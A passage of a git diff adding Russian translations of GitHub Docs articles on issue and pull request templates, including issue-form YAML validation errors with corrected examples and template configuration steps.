проблем и запросов на вытягивание +intro: 'Используя шаблоны запросов на вытягивание, можно настроить и стандартизировать сведения, которые должны участники должны включать при открытии проблем и запросов на вытягивание в репозитории.' +redirect_from: + - /articles/about-issue-and-pull-request-templates + - /github/building-a-strong-community/about-issue-and-pull-request-templates +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: About templates +ms.openlocfilehash: b95b31ae4171a54d9261fab6cbe93c43361296ab +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117592' +--- +После создания шаблонов проблем и запросов на вытягивание в репозитории участники могут использовать их для открытия проблем или описания предлагаемых изменений в запросах на вытягивание в соответствии с рекомендациями по участию в репозитории. Дополнительные сведения о добавлении рекомендаций по участию в репозитории см. в статье [Настройка рекомендаций для участников репозитория](/articles/setting-guidelines-for-repository-contributors). + +{% ifversion fpt or ghes or ghec %} + +Вы можете создать шаблоны проблем и запросов на вытягивание по умолчанию для своей организации или личной учетной записи. Дополнительные сведения см. в статье "[Создание файла работоспособности сообщества по умолчанию](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)". + +{% endif %} + +## Шаблоны проблем + +При создании шаблонов проблем для репозитория с помощью построителя шаблонов проблем{% ifversion fpt or ghec %} или форм проблем{% endif %} участники могут выбрать соответствующий шаблон во время открытия новых проблем в репозитории. + +![Страница создания проблемы, на которой показаны варианты шаблонов проблем](/assets/images/help/issues/new-issue-page-with-multiple-templates.png) + +Шаблоны проблем полезны, если вам нужно предоставить руководство по открытию проблем, позволяя участникам указывать содержимое своих проблем. {% ifversion fpt or ghec %} Если вы хотите, чтобы при открытии проблем участники предоставляли конкретные структурированные сведения, вы сможете получить нужные сведения с помощью формы проблем.{% endif %} + +При использовании построителя шаблонов можно указать заголовок и описание каждого шаблона, добавить его содержимое и либо зафиксировать шаблон в ветви по умолчанию, либо открыть запрос на вытягивание в репозитории. Построитель шаблонов автоматически добавляет исправления титульных листов YAML, необходимые для отображения шаблона на странице создания проблемы. Дополнительные сведения см. в разделе [Настройка шаблонов проблем для репозитория](/articles/configuring-issue-templates-for-your-repository). + +{% ifversion fpt or ghec %} С помощью форм проблем можно создавать шаблоны с веб-полями формы, используя схему формы {% data variables.product.prodname_dotcom %}. Когда участник открывает проблему с помощью формы проблемы, входные данные формы преобразуются в стандартный комментарий о проблеме Markdown. Вы можете указать различные типы входных данных и задать входные данные в соответствии с требованиями, чтобы помочь участникам открывать в репозитории проблемы с действиями. Дополнительные сведения см. в статьях [Настройка шаблонов проблем для репозитория](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms) и [Синтаксис форм проблем](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms). +{% endif %} + +{% data reusables.repositories.issue-template-config %} Дополнительные сведения см. в статье [Настройка шаблонов проблем для репозитория](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#configuring-the-template-chooser). + +Шаблоны проблем хранятся в ветви репозитория по умолчанию в скрытом каталоге `.github/ISSUE_TEMPLATE`. Если шаблон создан в другой ветви, он не будет доступен для участников при совместной работе. В именах файлов шаблона проблемы не учитывается регистр, и для них требуется расширение *.md*.{% ifversion fpt or ghec %} Для шаблонов проблем, созданных с помощью форм проблем, требуется расширение *.yml*.{% endif %} {% data reusables.repositories.valid-community-issues %} + +Вы можете вручную создать один шаблон проблемы в Markdown с помощью устаревшего рабочего процесса шаблона проблемы, и участники проекта автоматически увидят содержимое шаблона в тексте проблемы. Но мы рекомендуем использовать обновленный построитель шаблонов для нескольких проблем{% ifversion fpt or ghec %} или формы проблем{% endif %}, чтобы создавать шаблоны проблем. Дополнительные сведения об устаревшем рабочем процессе см. в статье [Создание одного шаблона проблемы вручную для репозитория](/articles/manually-creating-a-single-issue-template-for-your-repository). + +{% data reusables.repositories.security-guidelines %} + +## Шаблоны запросов на вытягивание + +Когда вы добавите шаблон запроса на вытягивание в репозиторий, участники проекта автоматически увидят содержимое шаблона в тексте запроса на вытягивание. + +![Пример шаблона запроса на вытягивание](/assets/images/help/pull_requests/pr-template-sample.png) + +Вам необходимо создать шаблоны в ветви репозитория по умолчанию. Шаблоны, созданные в других ветвях, недоступны для участников при совместной работе. Шаблон запроса на вытягивание можно хранить в видимом корневом каталоге репозитория, папке `docs` или скрытом каталоге `.github`. В именах файлов шаблонов запросов на вытягивание не учитывается регистр, и они могут иметь такие расширения, как *.md* или *.txt*. + +Дополнительные сведения см. в статье [Создание шаблона запроса на вытягивание для репозитория](/articles/creating-a-pull-request-template-for-your-repository). diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md new file mode 100644 index 000000000000..013e68d40eab --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md @@ -0,0 +1,640 @@ +--- +title: Распространенные ошибки проверки при создании форм проблем +intro: 'Некоторые из этих распространенных ошибок проверки могут возникать при создании, сохранении или просмотре форм проблем.' +versions: + fpt: '*' + ghec: '*' +topics: + - Community +ms.openlocfilehash: 54451186fe7fcbc40945dc6a0b2ee2d757924c1b +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145861072' +--- + +{% data reusables.community.issue-forms-beta %} + +## Отсутствует обязательный ключ верхнего уровня `name` + +Шаблон не содержит поля `name`, то есть не ясно, как должен называться шаблон проблемы при предоставлении пользователям списка вариантов. + +### Пример + +```yaml +description: "Thank you for reporting a bug!" +... +``` + +Эту ошибку можно исправить путем добавления ключа `name`. + +```yaml +name: "Bug report" +description: "Thank you for reporting a bug!" +... +``` + +## Значение `key` должно быть строкой + +Это сообщение об ошибке означает, что был предоставлен разрешенный ключ, но его значение невозможно проанализировать, так как тип данных не поддерживается. + +### Пример + +Приведенное ниже описание `description` анализируется как логическое значение, хотя должно быть строкой. + +```yaml +name: "Bug report" +description: true +... +``` + +Эту ошибку можно исправить, указав строковое значение. Для успешного анализа строки может требоваться заключать в двойные кавычки. Например, в двойные кавычки должны быть заключены строки, содержащие `'`. + +```yaml +name: "Bug report" +description: "true" +... +``` + +Если в поле ожидается строка, также не допускаются пустые строки или строки, состоящие только из пробелов. + +```yaml +name: "" +description: "File a bug report" +assignees: " " +... +``` + +Эту ошибку можно исправить, изменив значение на непустую строку. Если поле не является обязательным, следует удалить пару "ключ-значение". + +```yaml +name: "Bug Report" +description: "File a bug report" +... +``` + +## `input` не является допустимым ключом + +На верхнем уровне шаблона предоставлен непредвиденный ключ. Дополнительные сведения о поддерживаемых ключах верхнего уровня см. в разделе [Синтаксис форм проблем](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms#top-level-syntax). + +### Пример + +```yaml +name: "Bug report" +hello: world +... +``` + +Эту ошибку можно устранить путем удаления лишних ключей. + +```yaml +name: "Bug report" +... +``` + +## Запрещенные ключи + +YAML анализирует некоторые строки как значения типа `Boolean`. Чтобы избежать этого, мы явно запретили использовать следующие ключи: + +`y`, `Y`, `yes`, `Yes`, `YES`, `n`, `N`, `no`, `No`, `NO`, `true`, `True`, `TRUE`, `false`, `False`, `FALSE`, `on`, `On`, `ON`, `off`, `Off`, `OFF` + +Эту ошибку можно устранить путем удаления запрещенных ключей. + +## Текст должен содержать по крайней мере одно поле, отличное от markdown + +Формы проблем должны принимать данные, введенные пользователем, поэтому хотя бы одно из полей должно быть полем для ввода данных. Элемент `markdown` содержит статический текст, поэтому массив `body` не может содержать только элементы `markdown`. + +### Пример + +```yaml +name: "Bug report" +body: +- type: markdown + attributes: + value: "Bugs are the worst!" +``` + +Эту ошибку можно исправить путем добавления элементов, отличных от markdown, которые принимают введенные пользователем данные. + +```yaml +name: "Bug report" +body: +- type: markdown + attributes: + value: "Bugs are the worst!" +- type: textarea + attributes: + label: "What's wrong?" +``` + +## Текст должен содержать уникальные идентификаторы + +При использовании атрибутов `id` для различения нескольких элементов каждый атрибут `id` должен быть уникальным. + +### Пример + +```yaml +name: "Bug report" +body: +- type: input + id: name + attributes: + label: First name +- type: input + id: name + attributes: + label: Last name +``` + +Эту ошибку можно исправить, изменив `id` одного из полей ввода так, чтобы каждое поле `input` имело уникальный атрибут `id`. + +```yaml +name: "Bug report" +body: +- type: input + id: name + attributes: + label: First name +- type: input + id: surname + attributes: + label: Last name +``` + +## Текст должен содержать уникальные метки + +При наличии нескольких элементов `body`, которые принимают введенные пользователем данные, атрибут `label` каждого поля ввода должен быть уникальным. + +### Пример + +```yaml +name: "Bug report" +body: +- type: textarea + attributes: + label: Name +- type: textarea + attributes: + label: Name +``` + +Эту ошибку можно исправить, изменив атрибут `label` одного из полей ввода так, чтобы все `label` были уникальными. + +```yaml +name: "Bug report" +body: +- type: textarea + attributes: + label: Name +- type: textarea + attributes: + label: Operating System +``` + +Поля ввода также можно различать по атрибуту `id`. Если требуются повторяющиеся атрибуты `label`, можно указать по крайней мере один `id` для различения двух элементов с одинаковыми метками. + +```yaml +name: "Bug report" +body: +- type: textarea + id: name_1 + attributes: + label: Name +- type: textarea + id: name_2 + attributes: + label: Name +``` + +Атрибуты `id` не отображаются в тексте проблемы. Если поля в итоговой проблеме должны различаться, следует использовать уникальные атрибуты `label`. + + +## Метки слишком похожи + +В результате обработки схожих меток могут получаться одинаковые ссылки. Если для поля `input` не указан атрибут `id`, для создания ссылки на поле `input` используется атрибут `label`. Для этого `label` обрабатывается с помощью метода [parameterize](https://apidock.com/rails/ActiveSupport/Inflector/parameterize) Rails. В некоторых случаях в результате обработки двух разных меток может получаться одна и та же параметризованная строка. + +### Пример + +```yaml +name: "Bug report" +body: +- type: input + attributes: + label: Name? +- type: input + id: name + attributes: + label: Name??????? +``` + +Эту ошибку можно исправить путем добавления по крайней мере одного отличительного буквенно-цифрового символа, `-` или `_` к одной из конфликтующих меток. + +```yaml +name: "Bug report" +body: +- type: input + attributes: + label: Name? +- type: input + attributes: + label: Your name +``` + +Ошибку также можно исправить, назначив одной из конфликтующих меток уникальный `id`. + +```yaml +name: "Bug report" +body: +- type: input + attributes: + label: Name? +- type: input + id: your-name + attributes: + label: Name??????? +``` + +## Флажки должны иметь уникальные метки + +При наличии элемента `checkboxes` каждая из его вложенных меток должна быть уникальной как среди одноуровневых элементов, так и среди других входных элементов. + +### Пример + +```yaml +name: "Bug report" +body: +- type: textarea + attributes: + label: Name +- type: checkboxes + attributes: + options: + - label: Name +``` + +Эту ошибку можно исправить, изменив атрибут `label` одного из входных элементов. + +```yaml +name: "Bug report" +body: +- type: textarea + attributes: + label: Name +- type: checkboxes + attributes: + options: + - label: Your name +``` + +Кроме того, можно предоставить `id` для конфликтующих элементов верхнего уровня. Вложенные элементы флажков не поддерживают атрибут `id`. + +```yaml +name: "Bug report" +body: +- type: textarea + id: name_1 + attributes: + label: Name +- type: checkboxes + attributes: + options: + - label: Name +``` + +Атрибуты `id` не отображаются в тексте проблемы. Если поля в итоговой проблеме должны различаться, следует использовать уникальные атрибуты `label`. + +## Body[i]: отсутствует обязательный ключ type + +Каждый блок текста должен иметь ключ `type`. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это отсчитываемый от нуля индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +```yaml +body: +- attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +``` + +Эту ошибку можно исправить, добавив ключ `type` с допустимым типом входных данных в качестве значения. Доступные типы входных данных для `body` и их синтаксис см. в разделе [Синтаксис для схемы формы {% data variables.product.prodname_dotcom %}](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema#keys). + +```yaml +body: +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +``` + +## Body[i]: `x` не является допустимым типом входных данных + +Один из блоков текста содержит значение типа, которое не является одним из [разрешенных типов](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema#keys). + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +```yaml +body: +- type: x + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +``` + +Эту ошибку можно исправить, изменив `x` на один из допустимых типов. + +```yaml +body: +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +``` + +## Body[i]: отсутствует обязательный ключ атрибута `value` + +Не предоставлен один из обязательных атрибутов `value`. Эта ошибка возникает, если в блоке нет ключа `attributes` или нет ключа `value` в ключе `attributes`. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +```yaml +body: +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +- type: markdown +``` + +Ошибку в этом примере можно исправить, добавив ключ `value` в ключе `attributes` во втором элементе `body`. + +```yaml +body: +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +- type: markdown + attributes: + value: "This is working now!" +``` + +## Body[i]: метка должна быть строкой + +В блоке `attributes` значение имеет неправильный тип данных. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +Приведенная ниже метка `label` анализируется как логическое значение, хотя должна быть строкой. + + +```yaml +body: +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +- type: textarea + attributes: + label: Bug Description +- type: textarea + attributes: + label: true +``` + +Эту ошибку можно исправить, предоставив строковое значение для `label`. Если вы хотите использовать значение `label`, которое может анализироваться как логическое, целочисленное или десятичное, его следует заключить в кавычки. Например, используйте `"true"` или `"1.3"` вместо `true` или `1.3`. + +```yaml +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +- type: textarea + attributes: + label: Bug Description +- type: textarea + attributes: + label: Environment Details +``` + +Если в атрибуте ожидается строка, пустые строки или строки, состоящие только из пробелов, не допускаются. Например, запрещено значение `""` или `" "`. + +Если атрибут является обязательным, значением должна быть непустая строка. Если поле не является обязательным, следует удалить пару "ключ-значение". + +```yaml +body: +- type: input + attributes: + label: "Name" +``` + +## Пример + +```yaml +name: "Bug report" +body: +- type: input + id: first name + attributes: + label: First name +``` + +Эту ошибку можно исправить, удалив пробелы и другие недопустимые символы из значений `id`. + +```yaml +name: "Bug report" +body: +- type: input + id: first-name + attributes: + label: First name +``` + +## Body[i]: `x` не является допустимым ключом + +На том же уровне отступа, что и у атрибутов `type` и `attributes`, предоставлен непредвиденный ключ `x`. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +```yaml +body: +- type: markdown + x: woof + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +``` + +Эту ошибку можно исправить, удалив лишние ключи и оставив только ключи `type`, `attributes` и `id`. + +```yaml +body: +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." +``` + +## Body[i]: `label` содержит запрещенное слово + +Чтобы свести к минимуму риск публикации конфиденциальной информации и учетных данных в проблемах на GitHub, некоторые слова, часто используемые злоумышленниками, не допускаются в метках `label` элементов ввода или textarea. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +```yaml +body: +- type: markdown + attributes: + value: Hello world! +- type: input + attributes: + label: Password +``` + +Эту ошибку можно исправить, удалив такие слова, как "пароль", из всех полей `label`. + +```yaml +body: +- type: markdown + attributes: + value: Hello world! +- type: input + attributes: + label: Username +``` + +## Body[i]: `x` не является допустимым атрибутом + +В блоке `attributes` предоставлен недопустимый ключ. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +```yaml +body: +- type: markdown + attributes: + x: "a random key!" + value: "Thanks for taking the time to fill out this bug!" +``` + +Эту ошибку можно исправить, удалив лишние ключи и оставив только допустимые атрибуты. + +```yaml +body: +- type: markdown + attributes: + value: "Thanks for taking the time to fill out this bug!" +``` + +## Body[i]: элементы `options` должны быть уникальными + +Для типов входных данных "флажок" и "раскрывающийся список" элементы в массиве `options` должны быть уникальными. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +``` +body: +- type: dropdown + attributes: + label: Favorite dessert + options: + - ice cream + - ice cream + - pie +``` + +Эту ошибку можно исправить, убрав повторяющиеся элементы в массиве `options`. + +``` +body: +- type: dropdown + attributes: + label: Favorite dessert + options: + - ice cream + - pie +``` + +## Body[i]: в `options` не должно быть зарезервированного слова none + +None — это зарезервированное слово в наборе `options`, которое служит для указания отсутствия выбора, если выбор элемента в `dropdown` не обязателен. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +``` +body: +- type: dropdown + attributes: + label: What types of pie do you like? + options: + - Steak & Ale + - Chicken & Leek + - None + validations: + required: true +``` + +Эту ошибку можно исправить, удалив none из списка вариантов. Если нужно, чтобы участник мог указать, что ему не нравится ни один из видов пирогов, можно дополнительно удалить проверку `required`. + +``` +body: +- type: dropdown + attributes: + label: What types of pie do you like? + options: + - Steak & Ale + - Chicken & Leek +``` + +В этом примере None добавляется автоматически в качестве доступного для выбора варианта. + +## Body[i]: массив `options` не должен содержать логических значений. Заключите такие значения, как yes (да) и true (истина), в кавычки + +Некоторые английские слова интерпретируются средством синтаксического анализа YAML как логические значения, если они не заключены в кавычки. В массиве `options` раскрывающегося списка все элементы должны быть строками, а не логическими значениями. + +Сообщения об ошибках, связанных с `body`, начинаются с элемента `body[i]`, где `i` — это индекс блока текста, содержащего ошибку. Например, `body[0]` означает, что ошибка вызвана первым блоком в списке `body`. + +### Пример + +``` +body: +- type: dropdown + attributes: + label: Do you like pie? + options: + - Yes + - No + - Maybe +``` + +Эту ошибку можно исправить, заключив каждый соответствующий вариант в кавычки, чтобы он не интерпретировался как логическое значение. + +``` +body: +- type: dropdown + attributes: + label: Do you like pie? + options: + - "Yes" + - "No" + - Maybe +``` + +## Дополнительные материалы + +- [YAML](https://yaml.org/) +- [Синтаксис для форм проблем](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms) diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md new file mode 100644 index 000000000000..71d5be5cb6cc --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md @@ -0,0 +1,112 @@ +--- +title: Настройка шаблонов проблем для репозитория +intro: 'Вы можете настроить шаблоны, доступные участникам для использования при открытии новых проблем в репозитории.' +redirect_from: + - /github/building-a-strong-community/creating-issue-templates-for-your-repository + - /articles/configuring-issue-templates-for-your-repository + - /github/building-a-strong-community/configuring-issue-templates-for-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Configure +ms.openlocfilehash: d415d95f8aeab1b053663437b6dbf6dd637e3039 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147431995' +--- +{% ifversion fpt or ghes or ghec %} + +{% data reusables.repositories.default-issue-templates %} + +{% endif %} + +## Создание шаблонов проблем + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе "Компоненты" под заголовком "Проблемы" щелкните **Настройка шаблонов**. +![Кнопка запуска настройки шаблонов](/assets/images/help/repository/set-up-templates.png) +4. В раскрывающемся меню добавления шаблона выберите тип шаблона, который хотите создать. +![Раскрывающееся меню добавления шаблона](/assets/images/help/repository/add-template-drop-down-menu.png) +5. Чтобы просмотреть или изменить шаблон перед его фиксацией в репозитории, нажмите кнопку **Просмотреть и изменить**. +![Кнопка предварительного просмотра и изменения](/assets/images/help/repository/preview-and-edit-button.png) +6. Чтобы изменить шаблон, щелкните {% octicon "pencil" aria-label="The edit icon" %} и внесите необходимые изменения в соответствующих полях. +![Кнопка изменения шаблона проблемы](/assets/images/help/repository/issue-template-edit-button.png) +7. Чтобы автоматически задать заголовок проблемы по умолчанию, назначьте проблему людям с доступом на чтение к репозиторию или примените метки к шаблону проблемы, введя эти сведения в разделе "Необязательные дополнительные сведения". Эти сведения также можно добавить в шаблон проблемы с помощью `title`, `labels` или `assignees` в формате титульного листа YAML. +![Дополнительные сведения для шаблона проблемы](/assets/images/help/repository/additional-issue-template-info.png) +8. Завершив редактирование и предварительный просмотр шаблона, нажмите кнопку **Предложить изменения** в правом верхнем углу страницы. +![Кнопка "Предложить изменения"](/assets/images/help/repository/propose-changes-button.png) +9. Введите сообщение фиксации, описывающее ваши изменения. +![Поле сообщения фиксации шаблона проблемы](/assets/images/help/repository/issue-template-commit-message-field.png) +10. Под полями сообщения фиксации укажите, где следует зафиксировать шаблон — непосредственно в ветви по умолчанию или создать новую ветвь и открыть запрос на вытягивание. Дополнительные сведения о запросах на вытягивание см. в разделе [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). +![Выбор фиксации шаблона проблемы в главной ветви или открытия запроса на вытягивание](/assets/images/help/repository/issue-template-commit-to-master-or-open-pull-request.png) +11. Щелкните **Зафиксировать изменения**. После объединения этих изменений в ветвь по умолчанию шаблон будет доступен участникам для использования при открытии новых проблем в репозитории. + +{% ifversion fpt or ghec %} + +## Создание форм проблем + +{% data reusables.community.issue-forms-beta %} + +С помощью форм проблем можно создавать шаблоны проблем с настраиваемыми полями веб-формы. Вы можете стимулировать участников включать конкретные структурированные сведения с помощью форм проблем в вашем репозитории. Формы проблем создаются в YAML с помощью схемы формы {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Синтаксис схемы формы {% data variables.product.prodname_dotcom %}](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema). {% data reusables.actions.learn-more-about-yaml %} + +Чтобы использовать форму проблем в репозитории, необходимо создать новый файл и добавить его в папку `.github/ISSUE_TEMPLATE` в этом репозитории. + +Ниже приведен пример файла конфигурации формы проблем. + +{% data reusables.community.issue-forms-sample %} + +Ниже приведена преобразованная для просмотра версия формы проблем. + ![Форма проблем, преобразованная для просмотра](/assets/images/help/repository/sample-issue-form.png) + +1. Выберите репозиторий, в котором хотите создать форму проблем. Вы можете использовать существующий репозиторий, к которому у вас есть доступ для записи, или создать репозиторий. Дополнительные сведения о создании репозитория см. в разделе [Создание репозитория](/articles/creating-a-new-repository). +2. В репозитории создайте файл с именем `.github/ISSUE_TEMPLATE/FORM-NAME.yml`, заменив `FORM-NAME` на имя вашей формы проблем. Дополнительные сведения о создании новых файлов в GitHub см. в разделе [Создание новых файлов](/github/managing-files-in-a-repository/creating-new-files). +3. В тексте нового файла введите содержимое формы проблем. Дополнительные сведения см. в разделе [Синтаксис форм проблем](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms). +4. Зафиксируйте этот файл в ветви по умолчанию вашего репозитория. Дополнительные сведения см. в статье "[Создание файлов](/github/managing-files-in-a-repository/creating-new-files)". + +{% endif %} + +## Настройка выбора шаблона + +{% data reusables.repositories.issue-template-config %} + +Вы можете стимулировать участников использовать шаблоны проблем, задав для `blank_issues_enabled` значение `false`. Если задать для `blank_issues_enabled` значение `true`, люди смогут открывать пустую проблему. + +{% note %} + +**Примечание.** Если вы использовали устаревший рабочий процесс для создания файла `issue_template.md` вручную в папке `.github` и включения пустых проблем в файл *config.yml*, шаблон в `issue_template.md` будет использоваться, когда пользователи решат открыть пустую проблему. Если отключить пустые проблемы, этот шаблон никогда не будет использоваться. + +{% endnote %} + +Если вы предпочитаете получать некоторые отчеты вне {% data variables.product.product_name %}, то можете направлять людей на внешние сайты с помощью `contact_links`. + +Ниже приведен пример файла *config.yml*. + +```yaml{:copy} +blank_issues_enabled: false +contact_links: + - name: {% data variables.product.prodname_gcf %} + url: https://github.com/orgs/community/discussions + about: Please ask and answer questions here. + - name: {% data variables.product.prodname_dotcom %} Security Bug Bounty + url: https://bounty.github.com/ + about: Please report security vulnerabilities here. +``` + +Ваш файл конфигурации будет настраивать выбор шаблонов при включении файла в ветвь репозитория по умолчанию. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла введите `.github/ISSUE_TEMPLATE/config.yml`. + ![Имя файла конфигурации](/assets/images/help/repository/template-config-file-name.png) +4. В тексте нового файла введите содержимое вашего файла конфигурации. + ![Содержимое файла конфигурации](/assets/images/help/repository/template-config-file-content.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} + +## Дополнительные материалы + +- [Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates) +- [Создание одного шаблона проблем для репозитория вручную](/articles/manually-creating-a-single-issue-template-for-your-repository) diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md new file mode 100644 index 000000000000..71e72f15c3d8 --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md @@ -0,0 +1,55 @@ +--- +title: Создание шаблона запроса на вытягивание для репозитория +intro: 'Когда вы добавите шаблон запроса на вытягивание в репозиторий, участники проекта автоматически увидят содержимое шаблона в тексте запроса на вытягивание.' +redirect_from: + - /articles/creating-a-pull-request-template-for-your-repository + - /github/building-a-strong-community/creating-a-pull-request-template-for-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Create a PR template +ms.openlocfilehash: 2a85c88944f1d46209429846bba1e7a3c930968e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092341' +--- +Дополнительные сведения см. в статье "[Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates). + +Можно создать подкаталог *PULL_REQUEST_TEMPLATE/* в любой из поддерживаемых папок, чтобы он содержал шаблоны для нескольких запросов на вытягивание, и использовать параметр запроса `template`, чтобы указать шаблон, который будет заполнять текст запроса на вытягивание. Дополнительные сведения см. в разделе [Использование параметров запроса для создания запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request). + +{% ifversion fpt or ghes or ghec %} + +Можно создать шаблоны запроса на вытягивание по умолчанию для организации{% ifversion fpt or ghes or ghec %} или личной учетной записи{% endif %}. Дополнительные сведения см. в статье "[Создание файла работоспособности сообщества по умолчанию](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)". + +{% endif %} + +## Добавление шаблона запроса на вытягивание + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла: + - Чтобы сделать шаблон запроса на вытягивание видимым в корневом каталоге репозитория, присвойте шаблону запроса на вытягивание имя `pull_request_template.md`. + ![Имя нового шаблона запроса на вытягивание в корневом каталоге](/assets/images/help/repository/pr-template-file-name.png) + - Чтобы сделать шаблон запроса на вытягивание видимым в каталоге `docs` репозитория, присвойте шаблону запроса на вытягивание имя `docs/pull_request_template.md`. + ![Шаблон нового запроса на вытягивание в каталоге документации](/assets/images/help/repository/pr-template-file-name-docs.png) + - Чтобы сохранить файл в скрытом каталоге, присвойте шаблону запроса на вытягивание имя `.github/pull_request_template.md`. + ![Шаблон нового запроса на вытягивание в скрытом каталоге](/assets/images/help/repository/pr-template-hidden-directory.png) + - Чтобы создать шаблоны для нескольких запросов на вытягивание и использовать параметр запроса `template`, чтобы указать шаблон для заполнения текста проблемы, введите *.github/PULL_REQUEST_TEMPLATE/* , а затем имя шаблона запроса на вытягивание. Например, `.github/PULL_REQUEST_TEMPLATE/pull_request_template.md`. Можно также хранить шаблоны для нескольких запросов на вытягивание в подкаталоге `PULL_REQUEST_TEMPLATE`, в корне или каталогах 